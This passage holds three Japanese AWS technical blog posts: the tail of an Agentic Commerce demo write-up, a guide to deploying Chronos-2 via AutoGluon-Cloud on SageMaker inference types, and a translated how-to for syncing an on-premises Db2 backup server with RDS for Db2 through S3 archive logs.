呼び出し、Agent 呼び出し時の入り口 Amazon API Gateway ビジネスロジックの実装 AWS Lambda EC / UCP checkout session の管理 Amazon DynamoDB 商品 Feed からの検索 Amazon OpenSearch Serverless 商品 Feed の連携 AWS Step Functions AP2 の鍵管理 AWS Secrets Manager LLM 推論 Amazon Bedrock （Claude Sonnet 4.6） Agent、MCP Server の Host Amazon Bedrock AgentCore ※ 決済には Amazon Pay（AWS サービス外）を利用しています。詳細は後述の「アーキテクチャのポイント」をご参照ください。 アーキテクチャのポイント AI プラットフォーマー側 AI Agent は Amazon Bedrock AgentCore runtime 上に Strands Agents で実装 商品検索は Amazon OpenSearch Serverless で実装 すべての推論は Amazon Bedrock 経由で Claude Sonnet 4.6 を利用 EC 事業者側 OpenSearch Serverless への Ingest パイプライン（商品が追加されるとベクトル化 → Ingest を自動実行）を実装 MCP Apps Server、UCP（MCP）Server も Amazon Bedrock AgentCore runtime 上にパススルー構成で実装 複数の Agent 間連携は A2A（AgentCore runtime 上）で実装 決済は Amazon Pay の Payment Method On File（PMOF）で実装。初回設定以降はワンクリックで決済が完了し、Onsite Agent の購買体験を途切れさせない。ECP 経由で AI プラットフォーム側からも呼び出し可能 プロトコルについて（UCP / AP2 / ECP） 本デモでは、Agentic Commerce を支える複数のコマースプロトコルに対応しています。それぞれの位置づけは以下のとおりです。 UCP（Universal Commerce Protocol）: Google と Shopify が中心となって策定した、AI エージェントが商品発見・条件交渉・チェックアウト・購入後のデータ連携までを行うためのオープンな仕様です。 AP2（Agent Payments Protocol）: Google が提唱する、暗号署名された Mandate（委任状）を用いて、エージェントによる決済を安全かつ検証可能な形で実行するためのプロトコルです。UCP と組み合わせて利用され、現在は FIDO Alliance がガバナンスを担っています。 ECP（Embedded Commerce Protocol）: UCP を EC サイト内に埋め込む形（embedded 版）で利用するための実装形態を指します。本デモでは、ギフト設定が可能な EC 側のチェックアウト画面を AI PF 側に転送する仕組みや、そのチェックアウト画面にて EC 事業者が使用する決済手段を指定する仕組みとして活用しています。 これらのプロトコルは 2026 年に入ってから急速に整備が進んでいる分野であり、今後も仕様のアップデートが続くことが予想されます。最新の動向は各プロトコルの公式サイトをご確認ください。 認証について（補足） 今回の Demo では、認証はすべて Amazon Cognito で一元管理し、AI プラットフォーマー側と EC 事業者側の ID を単一の Cognito で代替しています。ただし本来、AI プラットフォーマーと EC 事業者間の ID 連携は、世界的にもまだ標準化の議論が進行中で、業界標準は定まっていません。今回のデモでは、その先にある体験（ID 連携済みの世界）を示すために、便宜上 1 つの Cognito に統合している点にご留意ください。 実装上の注意点 今回のデモでは MCP Apps Server・UCP Server を Amazon Bedrock AgentCore runtime 上にパススルー構成で自前実装していますが、これが唯一の実装パターンというわけではありません。Agentic Commerce を取り巻くプロトコルやサービスはまだ発展途上であり、今後リファレンスアーキテクチャが出てくることが期待されます。 ご来場いただいたお客様の声 ブースにお立ち寄りいただいたお客様からは、たくさんの生の声をいただきました。 まず印象的だったのは、「AI エージェントに決済まで任せたい」という声はそれほど多くなく、むしろ「AI プラットフォーマーに自社の商品を推薦してもらい、自社の EC サイトへ流入させたい」というニーズを持つお客様が多かった点です。Agentic Commerce というと購入・決済の自動化に注目が集まりがちですが、現場の実感としては、まず「見つけてもらうこと」への関心の高さがうかがえました。 また意外な反応をいただいたのが、「友達同士で買い物をする」というコンセプトデモです。「これはいいね」という反応もあれば、「ここまで技術的にできるんですね」と驚かれるお客様もいらっしゃり、Agentic Commerce の可能性を考えるきっかけとして興味深い反応をいただきました。 そしてもう一つ大きな評価をいただいたのが、「Agentic Commerce という言葉は知っているが、実際にどういう挙動をするものなのか、業界としてどこまで進んでいるのか（全体像）がわからない」という声に対して、ブースが一つの「アンサー」を示せたという点です。実際に「Agentic Commerce という名前しか知らず、何のことかよくわからなかったが、このブースを見て完全に理解できた。自分たちが何を検討すればいいかが分かった」と言って帰られたお客様もいらっしゃいました。まだ日本国内では実際に触れられる Agentic Commerce の実装例が少ない中、こうした「わかる」体験を提供できたことは、現在の日本市場において意味のあることだったと感じています。 まとめ Agentic Commerce は、まだ「購入の最終判断は人間が行う」段階にあるものの、AI プラットフォーマーや EC プラットフォーマーによる対応が急速に進んでおり、日本国内でも Onsite Agent・Incoming Agent の取り組みが着実に増え始めています。 AWS Summit のブースでご紹介した Demo システムは、 Amazon Bedrock AgentCore を中心に、Incoming Agent・Onsite Agent・MCP Apps Server・UCP（AP2）Server・A2A による Agent 間連携までを、実際に動く形で統合したものです。ぜひ皆さまの自社 EC における Agentic Commerce 対応の第一歩として、AWS サービスをご活用ください。 これからも、AWS 小売・消費財チームはユーザー企業様間の情報共有・議論の場をご提供し、1 つでも多くのお客様ビジネス課題の解決をご支援させていただく所存です。今後ともご期待ください！ 著者 中島　佑樹 西日本の小売・消費財のお客様をメインで担当するソリューションアーキテクト。社会人博士を修了したことをきっかけに AIML を得意分野としています。Agentic Commerce x AWS を推進中。最近 Google AI 要約で “日本の Agentic Commerce の有名なエンジニア?” で検索すると自分の名前が出てくることに喜びを感じています。 木下 尚英 (Naohide Kinoshita)  アマゾンジャパン合同会社 Amazon Pay シニアソリューションアーキテクト  Amazon Pay の日本の事業者様向け技術支援を担当しています。カートシステムを提供するプラットフォーム事業者様から大手・中小の EC 事業者様まで、業種を問わず数多くの導入・ローンチをご支援してきました。最近は決済の観点から Agentic Commerce の実装を検討・提案しています。好きなサービスは Amazon Bedrock AgentCore です。趣味はガンプラと旅行です。 堀内 保大 (Yasuhiro Horiuchi) / @ka_shino_ki アマゾン ウェブ サービス ジャパン合同会社 シニアソリューションアーキテクト 大規模なWeb系のお客様をご支援する傍ら、Eコマース関連のお客様を横断的に技術支援しています。 好きなサービスは、Amazon EKS や Amazon ECS 等のコンテナ関連サービスですが、最近はAmazon AgentCore Evaluationsに夢中です。趣味は旅行とスノーボードです。 西村 忠己(Tadami Nishimura) / @tdmnishi AWS Japan のソリューションアーキテクトとして、小売・消費財業種のお客様を担当しています。データガバナンスの観点から、お客様がデータ活用を効果的に行えるようなデモンストレーションなども多く行っています。好きなサービスは Amazon Aurora と Amazon Quick です。趣味は筋トレで、自宅に徒歩０分のトレーニングルームを構築して、日々励んでいます。

みなさん、こんにちは。ソリューションアーキテクトの 寺山です。 AutoGluon-Cloud v0.5.0 のアップデートにより、Chronos-2 は Amazon SageMaker AI へコード数行でデプロイ/利用できるようになりました。デプロイが簡単になった今、本番運用で本当に悩むのは「どの推論タイプを選ぶか」です。本記事ではアップデートの要点を押さえたうえで、3 つの推論パターン(リアルタイム推論：Realtime Inference、サーバーレス推論：Serverless Inference、バッチ変換：Batch Transform)をユースケースに応じてどう使い分けるかを具体的に紹介します。 1.背景 AutoGluon-Cloud は、 AutoGluon を Amazon SageMaker AI 上で実行するためのデプロイ・推論ライブラリです。v0.5.0 の核心は、Foundation Model 向けの新クラス（ TimeSeriesFoundationModel ）の追加です。学習（fit）ステップが不要になり、 model_id="chronos-2" を指定するだけで、この共通クラスから 3 つの推論タイプすべてにデプロイ・推論できますこれにより、 Chronos 2 on Amazon SageMaker AI のデプロイ~ 推論までをコード数行で 実現できるようになりました。 AutoGluon-Cloud には v0.5.0 以前 Foundation Model 専用のクラスが存在せず、Chronos-2 のようなゼロショットモデルを扱う手段がありませんでした。また異なる手段として、 Amazon SageMaker JumpStart からリアルタイム推論にアクセスできます。一方で、サーバーレス推論・バッチ変換にはモデルアーティファクトの再パッケージなど一手間が必要でした。 Autogluon-Cloud v0.5.0 の登場により、SageMaker AI 上にデプロイする 3 パターンとも同じ手軽さでアクセスできるようになりました。 その他の変更点（詳細は リリースノート 参照）: bootstrap() による 1 コマンドセットアップ、ローカルに AutoGluon 本体が不要（pip install autogluon.cloud のみ） サーバーレス推論のサポート、共変量（known_covariates）のフルサポート Note: v0.5.0 より前のバージョンでデプロイしたエンドポイントは互換性がありません。再デプロイが必要です。 2. 事前準備 デプロイする全ての環境（AWS アカウントとリージョンの組み合わせ） をブートストラップする必要があります。bootstrap() を実行するだけで、SageMaker が利用する IAM ロールと S3 バケットが自動的に作成され、設定は ~/.autogluon/cloud.yaml に保存されます。環境がすでにブートストラップされているかどうかが不明な場合は、いつでもコマンドを再実行できます。 既存のロール・バケットを使う場合は register() で登録します。 pip install autogluon.cloud  from autogluon.cloud import bootstrap  bootstrap()  # 初回のみ実行すれば十分  `bootstrap()`は、IAM ロールや S3バケットが未設定の場合に実行するものです。既にリソースがある場合は`register()`で登録できます。いずれも設定は`~/.autogluon/cloud.yaml`に保存され、以降の呼び出しで自動的に読み込まれます。この保存済み設定を使わず、呼び出しごとに明示的にリソースを渡したい場合は、IAM ロールの ARN と S3 パスを直接指定することもできます。 3. Chronos-2 をデプロイする3つの方法 Autogluon-Cloud を使うと、Chronos-2 は 3 つの推論タイプから選択して設定すると SageMaker AI 上にデプロイできます。もちろん、このライブラリを使わなくても Amazon SageMaker AI 上にデプロイできます。その場合は、推論タイプもこの３つに限りません。 下記では、３つの推論タイプそれぞれでコード例を示します。例はすべて同じ入力データ・同じ予測タスクを想定しています。今回は具体的なデータを用意しているわけではありませんが、サンプルコードの理解のためにデータについて補足します。 data : 店舗・SKU ごとの過去の売上時系列（列: id＝系列の識別子、timestamp＝日時、Sales＝売上） target =”Sales”: 予測したい対象列 known_covariates : 予測期間中に既知の説明変数（例: 価格やプロモーション実施の有無）。Chronos-2 が共変量を使って予測精度を高める prediction_length =13: 何ステップ先まで予測するか（例: 13 週先までの週次売上） 「何を予測したいか」を target に、「その予測に効く既知の情報は何か」を known_covariates に対応させて考えると、どのカラムをどこに渡せばよいかイメージしやすくなります。例えばコールセンターの入電数予測であれば、target は入電数、known_covariates はキャンペーン実施の有無や祝日フラグに相当します。 3.1 リアルタイム推論 図1 : リアルタイム推論の場合の構成 GPU/CPU インスタンスを選択でき、常時稼働してリクエストに即座にレスポンスを返します。 model.deploy() で SageMaker 上にエンドポイントが立ち上がり、以降は endpoint.predict() を呼ぶたびに Client Application からのリクエストがそのエンドポイントに直接渡されます。図1 では、ラップトップからSageMaker 上に モデルをデプロイする構成を示しています。 from autogluon.cloud import TimeSeriesFoundationModel model = TimeSeriesFoundationModel(model_id="chronos-2") endpoint = model.deploy(instance_type="ml.g5.xlarge") predictions = endpoint.predict( data=data, target="Sales", id_column="id", timestamp_column="timestamp", prediction_length=13, known_covariates=known_covariates, ) endpoint.delete_endpoint() 3.2 サーバーレス推論 図2 : サーバーレス推論の場合の構成 サーバーレス推論を実行したい場合、リアルタイム推論を実現するコードとの差分は inference_mode=”serverless” の指定です。 このサーバーレス推論ではリクエストがない間はインスタンス台数はゼロにスケールし、推論時間のみ課金されます。ネットワーク分離環境で動作するため、モデルを事前に S3 にキャッシュする必要があります。 model = TimeSeriesFoundationModel(model_id="chronos-2") cached = model.cache_model_artifact("s3://my-bucket/fm-cache") endpoint = cached.deploy(inference_mode="serverless") predictions = endpoint.predict( data=data, target="Sales", id_column="id", timestamp_column="timestamp", prediction_length=13, ) endpoint.delete_endpoint() 3.3 バッチ変換 図3 : バッチ変換の場合の構成 バッチ変換では、エンドポイントをデプロイせず、model.predict() に直接データを渡します。 ジョブとしてデータを処理し、完了後にリソースは自動シャットダウンされます。 model = TimeSeriesFoundationModel(model_id="chronos-2") future = model.predict( data=data, target="Sales", id_column="id", timestamp_column="timestamp", prediction_length=13, known_covariates=known_covariates, wait=False, ) print(future.status()) # 'InProgress' predictions = future.result() # 完了まで待機し DataFrame を返す data には DataFrame だけでなく、ローカルファイルや S3 パス（ s3://my-bucket/data.csv ）も直接渡せます。大規模データをすでに S3 に置いている場合は、DataFrame にロードし直さずそのまま渡せます。また予測結果は内部で S3 を経由して書き出されます。デフォルトでは {cloud_output_path}/{job_name}/predictions.csv に保存され、 predictions_path で明示的な出力先を指定することも可能です。 4. ユースケースに合わせた推論タイプの選定 3 パターンすべてに同じ手軽さでデプロイできるようになった今、実務で最も重要な判断は「どの推論タイプが自分のユースケースに合うか」です。 制約を比較する SageMaker AI の制約: 項目 リアルタイム推論 サーバーレス推論 バッチ変換 ペイロード上限 6 MB 4 MB 100 MB / 1 レコード（S3 経由） タイムアウト 60 秒 60 秒 なし GPU 利用 選択可能 選択不可（CPU のみ） 選択可能 課金 常時稼働 推論時間のみ ジョブ時間のみ コールドスタート なし あり N/A（ジョブ起動に数分） 注意したいのは サーバーレス推論が CPU 専用であることです。Chronos-2 は GPU で強みを発揮するモデルのため、サーバーレスを選ぶ場合は系列数やレイテンシ要件を見積もった上でご利用ください。 推論タイプによる違いはありませんが、Chronos-2 モデル自体の制約もあります。 時間軸方向の最大コンテキスト長は 8,192 ステップ 時間軸方向の最大出力長は 1,024 ステップ cross_learning モード（デフォルト有効）は batch_size 単位で系列をグループ化して共同予測を行う。系列数にハードリミットはないが、 batch_size=100 程度が推奨 推論タイプの選び方例 リアルタイム推論を選ぶシーン: 店長が共変量（価格、プロモーション等）を変えながら対話的に予測し、発注量を決める（What-if 分析） AI エージェントから高頻度で予測 API を呼び出す 系列数が多く GPU を使いたい、かつオンデマンドでレスポンスが必要 サーバーレス推論を選ぶシーン: What-if 分析を行うが利用頻度が低く、エンドポイントの常時課金を避けたい PoC や検証フェーズで、コストを最小限に抑えつつ動作確認したい データサイズが小さく（4 MB 以下）、CPU 推論とコールドスタートを許容できる バッチ変換を選ぶシーン: 定期実行（日次・週次）で、全店舗・全 SKU の予測をまとめて生成する 大量の系列を一括処理したく、タイムアウトやペイロード制限を気にしたくない 予測結果を S3 に書き出し、後続のパイプラインやレポートに利用する 5. まとめ AutoGluon-Cloud v0.5.0 により、Chronos-2 はリアルタイム・サーバーレス・バッチのいずれにも、同じ TimeSeriesFoundationModel クラス・数行のコードでアクセスできるようになりました。デプロイの複雑さという障壁が下がった今、向き合うべき問いは「どう実装するか」ではなく「自分たちのユースケースにどの推論タイプが最適か」です。 デプロイ後のエンドポイントは Amazon SageMaker AI のエンドポイントとして扱えるため、既存の監視やコスト管理にもそのまま組み込めます。まずはサーバーレスで小さく試し、要件が固まってからリアルタイムやバッチへ移行する、という段階的な導入も一つの手です。ぜひ自分たちのデータで動かしてみてください。 寺山 怜志 (Satoshi Terayama) 外食業界や百貨店業界のお客様を支援しているソリューションア―キテクトです。 最近は、時系列基盤モデル Chronos-2 を始めとした機械学習領域での学びを深めています

本記事は 2026 年 3 月 19 日 に公開された「 Synchronizing a Backup on-premises Db2 Server with Amazon RDS for Db2 」を翻訳したものです。 Amazon Relational Database Service (Amazon RDS) for Db2 は、プロビジョニング、パッチ適用、バックアップ、スケーリングといった手間のかかる作業を自動化し、リレーショナルデータベースの管理をシンプルにするフルマネージドサービスです。運用効率を高め、マルチ AZ 配置による高可用性を実現し、セキュリティを強化します。そのうえでインフラの保守ではなくアプリケーション開発に集中できます。 本記事では、セルフマネージドの Db2 インスタンスをアーカイブログの継続的な適用によって Amazon RDS for Db2 と同期させ続けるハイブリッドアーキテクチャの構築方法を説明します。これにより、クラウドネイティブなマネージドサービスの利点を損なうことなく、戦略的な配置の選択肢を維持できます。 ソリューションの概要 本ソリューションは、Amazon RDS for Db2 と同期を維持するオプションのセルフマネージド Db2 緊急バックアップサーバーを構築するハイブリッド構成です。基本的な仕組みとしては、Amazon RDS for Db2 インスタンスがアーカイブログを Amazon Simple Storage Service (Amazon S3) バケットにレプリケートし、セルフマネージドのオンプレミス Db2 インスタンスがそのアーカイブログを適用し続けます。先回りで同期を続けることで、バックアップがリアルタイムで最新の状態に保たれ、予期しない障害が発生した際にすぐに稼働させられます。 ソリューションは 3 つのステージで構成されます。 ステージ 1: Amazon RDS for Db2 でデータベースを構築する Amazon RDS for Db2 にデータベースをリストアする 緊急用セルフマネージドバックアップサーバーにデータベースをリストアする Amazon RDS for Db2 にアーカイブログを適用し続ける 緊急用セルフマネージドバックアップサーバーにアーカイブログを適用し続ける ステージ 2: Amazon RDS for Db2 へ移行する 最後のロールフォワードログを適用し、ロールフォワード処理を完了する RDS for Db2 に接続できるようになる アプリケーションの接続先を Amazon RDS for Db2 に切り替える 従来のセルフマネージド Db2 サーバーを停止するか、別の用途に転用する ステージ 3: Amazon RDS for Db2 との継続的なバックアップ同期を確立する 緊急バックアップサーバーをアーカイブログと同期させ続ける 緊急バックアップサーバーを常にロールフォワード保留モードに保つ オプション: セルフマネージドサーバーへ切り戻す状況が生じた場合は、最後のログを適用してロールフォワード操作を完了し、データベースに接続できるようにする 前提条件 RDS for Db2 のアーカイブログを Amazon S3 にコピーできるのは、データベース作成時にバックアップ期間が設定されている場合のみです。アーカイブログを生成するには、バックアップ保持期間を有効にする必要があります。 aws rds modify-db-instance \ --db-instance-identifier <your-db-instance-identifier> \ --backup-retention-period <days> \ --apply-immediately 注: your-db-instance-identifier と日数 (有効な値は 1 ～ 35 日) を指定してください。 以降のセクションでは、RDS for Db2 のアーカイブログファイルを Amazon S3 バケットにコピーする手順を説明します。 Amazon S3 へのアーカイブログコピーを設定する前に、以下を用意してください。 稼働中の Amazon RDS for Db2 インスタンス バックアップとアーカイブログを保存する Amazon S3 バケット Amazon S3 統合に適した AWS Identity and Access Management (IAM) 権限 (次のセクションで詳しく説明します) 互換性のある Db2 バージョンで稼働するセルフマネージド Db2 インスタンス (Amazon EC2、他のクラウドプロバイダー、またはオンプレミス上) Amazon S3 からセルフマネージド Db2 サーバーへファイルをダウンロードするためのネットワーク接続 Amazon S3 統合と権限を設定する Amazon RDS for Db2 が S3 バケットにアーカイブログをコピーできるようにするには、適切な IAM 権限を設定する必要があります。この手順は、標準的な Amazon RDS for Db2 の Amazon S3 統合 と同様です。 以下の手順を実行します。 Amazon RDS for Db2 に S3 バケットへのアクセスを許可する IAM ポリシーを作成します。 { "Version":"2012-10-17", "Statement": [ { "Sid": "AllowS3BucketAccess", "Effect": "Allow", "Action": [ "kms:GenerateDataKey", "kms:Decrypt", "s3:PutObject", "s3:GetObject", "s3:AbortMultipartUpload", "s3:ListBucket", "s3:GetObjectVersion", "s3:ListMultipartUploadParts", "s3:GetBucketAcl", "s3:GetBucketLocation" ], "Resource": [ "arn:aws:s3::: <amzn-s3-demo-bucket> /*", "arn:aws:s3::: <amzn-s3-demo-bucket> " ] }, { "Effect": "Allow", "Action": [ "s3:ListAllMyBuckets" ], "Resource": [ "*" ] } ] } 注: <amzn-s3-demo-bucket> を実際の S3 バケット名に置き換えてください。 作成したポリシーを使って IAM ロールを作成します。 Amazon RDS がこのロールを引き受けられるように、次の信頼関係を追加します。 { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "rds.amazonaws.com" }, "Action": "sts:AssumeRole" } ] } この IAM ロールを、 AWS Management Console または AWS Command Line Interface (AWS CLI) を使って RDS for Db2 インスタンスに関連付けます。 Amazon S3 へのアーカイブログコピーを有効にする (ステージ 1) この最初のステージでは、Amazon RDS for Db2 がアーカイブログを S3 バケットに自動でレプリケートするよう設定し、継続的な同期の基盤を築きます。有効にすると、アーカイブログが継続的に S3 にアップロードされ、トランザクションデータのリアルタイムストリームが生成されます。このストリームを適用することで、ハイブリッドアーキテクチャ全体でデータベースの一貫性を保てます。 IAM 権限を設定したら、RDS for Db2 インスタンスでアーカイブログのコピーを有効にできます。以下の手順を実行します。 RDS for Db2 の RDSADMIN データベースに接続し、アーカイブログのコピー先となる S3 ロケーションを設定します。 db2 "connect to RDSADMIN user <masterUserName> using <masterPassword> " db2 "call rdsadmin.set_configuration('ARCHIVE_LOG_COPY_TARGET_S3_ARN', 'arn:aws:s3:::/ <my_rds_db2_backups> / <prefix path> ')" <my_rds_db2_backups> を実際の S3 バケット名に置き換え、目的の <prefix path> を指定してください。 対象のデータベースでアーカイブログのコピーを有効にします。 db2 "call rdsadmin.enable_archive_log_copy(?, ' <database_name> ')" <database_name> を実際のデータベース名 (例: RLSDB1 ) に置き換えてください。 設定を確認するには、アーカイブログコピーのステータスをチェックします。 db2 "select * from table(rdsadmin.list_databases())" --The following is a sample output: DATABASE_NAME CREATE_TIME DATABASE_UNIQUE_ID ARCHIVE_LOG_RETENTION_HOURS ARCHIVE_LOG_COPY ARCHIVE_LOG_LAST_UPLOAD_FILE ARCHIVE_LOG_LAST_UPLOAD_FILE_TIME ARCHIVE_LOG_COPY_STATUS --------------- -------------------------- -------------------------------------------- --------------------------- ---------------- ---------------------------- --------------------------------- ----------------------- RDSADMIN 2025-12-12-20.24.10.222944 RDSADMIN 0 DISABLED - - - RLSDB1 2025-12-12-20.45.39.867726 35FFE475-D381-43A9-B5B6-475C1C589CDE 0 ENABLED S0000001.LOG 2025-12-13-10.30.15.123456 COMPLETED 対象のデータベースで ARCHIVE_LOG_COPY のステータスが ENABLED になっていることを確認します。 アーカイブログを Amazon S3 にコピーする詳細については、 Copying archive logs to Amazon S3 を参照してください。 セルフマネージド Db2 インスタンスにデータベースをリストアする (ステージ 2) このステージでは、オンラインバックアップイメージからリストアしてセルフマネージド Db2 インスタンスのベースラインを確立します。バックアップイメージには、移行時に取得した元のバックアップか、Amazon RDS for Db2 から新たに取得したバックアップのいずれかを使用します。リストア操作を行うと、データベースはロールフォワード保留状態になり、Amazon S3 からのアーカイブログの継続的なストリームを受け取って適用できる状態になります。 セルフマネージドの緊急バックアップ Db2 サーバーに適用できるオンラインバックアップイメージが必要です。この場合、2 つの選択肢があります。 緊急バックアップサーバーに同じオンラインバックアップを適用する 移行の過程で、現在のオンプレミス Db2 サーバーからオンラインバックアップを取得し、同じオンラインバックアップを Amazon RDS for Db2 と、もう 1 台の緊急バックアップ用セルフマネージド Db2 サーバーの両方に適用します。 Amazon RDS for Db2 からオンラインバックアップを取得する Amazon RDS for Db2 インスタンスからオンラインバックアップを取得し、オンプレミスの Db2 インスタンスに適用できます。 db2 "connect to RDSADMIN user <masterUserName> using <masterPassword> " db2 "call rdsadmin.backup_database(?, ' <database_name> ', 'Online', 'arn:aws:s3:::/ <online-backup-bucket-name> / <prefix-path> ')" このコマンドにより Amazon S3 上にバックアップイメージが作成されます。このイメージをリストアしたうえでアーカイブログを使って継続的に更新し、別のお客様管理の Db2 サーバーに反映できます。 Amazon RDS for Db2 との継続的なバックアップ同期を確立する (ステージ 3) この最終ステージでは、S3 からアーカイブログを定期的にダウンロードし、ロールフォワード操作によってセルフマネージド Db2 インスタンスに適用することで、継続的な同期を実現します。データベースをロールフォワード保留モードに保ち、新しいログを定期的に適用することで、Amazon RDS for Db2 インスタンスとセルフマネージドバックアップサーバーの間でリアルタイムの同期を維持でき、さまざまなビジネスシナリオに対応できる運用上の柔軟性が得られます。 セルフマネージドの Db2 で、S3 バケット用のストレージエイリアスを作成します。 db2 catalog storage access s3_backup \ type s3 \ server 's3.amazonaws.com' \ container '' \ object_path '/ <offline-backup-bucket-name> /' \ authentication 'AWS_IAM' ストレージアクセスのカタログ登録の詳細については、 IBM Db2 catalog storage access documentation を参照してください。 バックアップイメージが Amazon S3 上にある場合のデータベースのリストア db2 restore database <source_dbname> from s3_backup \ taken at <timestamp> \ into <target_dbname> \ REPLACE EXISTING \ WITHOUT ROLLING FORWARD restore コマンドの詳細については、 IBM Db2 restore documentation を参照してください。 バックアップイメージがローカルファイルシステム上にある場合のデータベースのリストア db2 restore database <source_dbname> from /db2backup/ \ taken at <timestamp> \ into <target_dbname> \ REPLACE EXISTING WITHOUT ROLLING FORWARD を省略すると、データベースはロールフォワード保留状態のままになります。 アーカイブログを適用する (ロールフォワード) オンラインバックアップをリストアすると、データベースはロールフォワード保留状態になります。ここからアーカイブログを継続的に適用して、RDS インスタンスとの同期を保てます。 ログを継続的に適用するには、以下の手順を実行します。 セルフマネージドシステムで、アーカイブログ用のディレクトリを作成します。 mkdir -p /db2logs/archive S3 からアーカイブログをダウンロードします。 aws s3 sync s3:// <my_rds_db2_backups> /archive-log-copy/ /db2logs/archive/ ログを適用します。 db2 rollforward database <target_dbname> \ to end of logs \ and stop \ overflow log path /db2logs/archive 特定の時点までログを適用するには、次のコードを使用します。 db2 rollforward database <target_dbname> \ to <timestamp> \ using local time \ overflow log path /db2logs/archive 継続的な同期を維持する Amazon S3 のアーカイブログの監視は、お客様の責任で行う必要があります。アーカイブログを削除すると判断した場合は、セルフマネージド Db2 のデータベースを最初からやり直す必要があります。また、削除したアーカイブログを復元する方法はありません。 セルフマネージドのデータベースを Amazon RDS と同期させ続けるには、以下の手順を実行します。 新しいアーカイブログを定期的にダウンロードするスケジュールジョブを設定します。 */15 * * * * aws s3 sync s3:/// <my_rds_db2_backups> /archive-log-copy/ /db2logs/archive/ 新しいログが届いたら適用します。 db2 rollforward database <target_dbname> \ to end of logs \ overflow log path /db2logs/archive 後でさらにログを適用し続けたい場合は、 and stop を使用しないでください。 データベースを接続可能な状態にする準備ができたら、次のコードを使用します。 db2 rollforward database <target_dbname> \ to end of logs \ and stop \ overflow log path /db2logs/archive and stop 句を指定すると、ロールフォワード処理が完了し、データベースが接続可能になります。 アーカイブログのコピーを無効にする アーカイブログのコピーを無効にする必要がある場合は、次のコードを使用します。 db2 "call rdsadmin.disable_archive_log_copy(?, ' <database_name> ')" アーカイブログのコピーステータスを監視する アーカイブログのコピーステータスを定期的に確認します。 db2 "select DATABASE_NAME, \ ARCHIVE_LOG_COPY, \ ARCHIVE_LOG_LAST_UPLOAD_FILE, \ ARCHIVE_LOG_LAST_UPLOAD_FILE_TIME \, ARCHIVE_LOG_COPY_STATUS \ FROM TABLE (rdsadmin.list_databases())" 監視すべき主なフィールドは以下のとおりです。 ARCHIVE_LOG_COPY は ENABLED と表示されるはずです ARCHIVE_LOG_LAST_UPLOAD_FILE は最後にアップロードされたログファイルを示します ARCHIVE_LOG_LAST_UPLOAD_FILE_TIME は最後のアップロードのタイムスタンプを示します ARCHIVE_LOG_COPY_STATUS はアップロードが成功していれば UPLOADING と表示されるはずです よくある問題のトラブルシューティングと解決策 このセクションでは、よくある問題とその解決策について説明します。 設定エラー 主に Amazon S3 の設定の問題により、次のようなエラーメッセージが表示されることがあります。 S3_INVALID_ARN_FORMAT – Amazon S3 の Amazon リソースネーム (ARN) の形式が無効です。Amazon S3 の ARN が AWS パーティションに対して正しい形式になっているか確認してください。 S3_NON_S3_SERVICE – ARN が Amazon S3 のものではありません。有効な S3 バケットの ARN を指定してください。 S3_REGION_MISMATCH – アーカイブログコピーの設定エラー: S3 バケットのリージョンが RDS インスタンスのリージョンと一致しません。S3 バケットが RDS インスタンスと同じリージョンにあることを確認してください。 S3_ACCOUNT_MISMATCH – S3 バケットのアカウントが AWS アカウントと一致しません。S3 バケットが RDS インスタンスと同じ AWS アカウントに属していることを確認してください。 S3_BUCKET_NOT_EXISTS – S3 バケットが存在しません。バケットを作成してから再試行してください。 S3_BUCKET_OWNERSHIP_MISMATCH – S3 バケットが AWS アカウントによって所有されていません。バケットが RDS インスタンスと同じ AWS アカウントに属していることを確認してください。 S3_BUCKET_PUBLIC_ACCESS – S3 バケットが一般公開されています。セキュリティ上の理由から、バケットのパブリックアクセスを無効にしてください。 S3_BUCKET_ACCESS_VALIDATION_FAILED – S3 バケットの権限を検証できません。IAM ロールにこのバケットへアクセスするために必要な権限があるか確認してください。 Amazon S3 関連の設定の問題の詳細については、 Viewing Amazon RDS events を参照してください。 IAM 権限のエラー アーカイブログコピーのステータスが CONFIGURATION_ERROR と表示される場合や、バックアップ操作が権限エラーで失敗する場合は、次のようにトラブルシューティングします。 IAM ポリシーに s3:PutObject 、 s3:GetObject 、 s3:ListBucket 、 s3:DeleteObject の権限が含まれているか確認します IAM ロールが RDS インスタンスに正しく関連付けられているか確認します 信頼関係で rds.amazonaws.com がロールを引き受けられるようになっているか確認します S3 バケットポリシーに矛盾する拒否ステートメントがないか確認します アーカイブログが Amazon S3 に表示されない ARCHIVE_LOG_COPY が有効になっているのに Amazon S3 にログが表示されない場合は、次のようにトラブルシューティングします。 設定で Amazon S3 の ARN が正しく指定されているか確認します データベースにログを生成するアクティブなトランザクションがあるか確認します RDS for Db2 のエラーログでコピーの失敗がないか確認します S3 バケットが存在し、同じリージョンにあるか (またはクロスリージョンレプリケーションが設定されているか) を確認します ロールフォワードがログの欠落で失敗する ロールフォワード操作が「log file not found」エラーで失敗する場合は、次のようにトラブルシューティングします。 バックアップのタイムスタンプから対象のタイムスタンプまでのすべてのアーカイブログがダウンロードされているか確認します ログシーケンス番号に抜けがないか確認します オーバーフローログパスが正しく指定されているか確認します Db2 インスタンスのユーザーがログディレクトリに対する読み取り権限を持っているか確認します データベースがロールフォワード保留状態のままになる リストア後にデータベースに接続できない場合は、次のようにトラブルシューティングします。 and stop 句を指定してロールフォワード操作を完了します 後でさらにログを適用したい場合は、データベースを開く準備ができたときにのみ and stop を使用します db2 list history rollforward for <dbname> を使って、未完了のロールフォワード操作がないか確認します Amazon S3 ストレージエイリアスの接続の問題 ストレージエイリアスを使って Amazon S3 から直接リストアできない場合は、次のようにトラブルシューティングします。 セルフマネージド Db2 サーバーで AWS 認証情報が正しく設定されているか確認します S3 エンドポイントへのネットワーク接続を確認します db2 list storage access を使って、ストレージエイリアスが正しくカタログ登録されているか確認します S3 バケット名とオブジェクトパスが正しいか確認します ベストプラクティス 以下のベストプラクティスの導入を検討してください。 定期的なテスト – リストアとロールフォワードの手順を定期的にテストし、災害復旧計画が想定どおりに機能することを確認します。 Amazon S3 コストの監視 – アーカイブログはすぐに蓄積されます。Amazon S3 のライフサイクルポリシーを導入し、不要になった古いログをアーカイブまたは削除します。 ログ適用の自動化 – cron ジョブやスケジュールタスクを使ってログのダウンロードと適用を自動化し、手作業を減らします。 ログの連続性の維持 – バックアップのタイムスタンプから現在までのすべてのログをそろえておきます。ログが欠落するとロールフォワードチェーンが途切れます。 同期にはオンラインバックアップを使用する – Amazon S3 へのアーカイブログ転送を設定する際はオンラインバックアップを使用し、ロールフォワード操作との互換性を確保します。 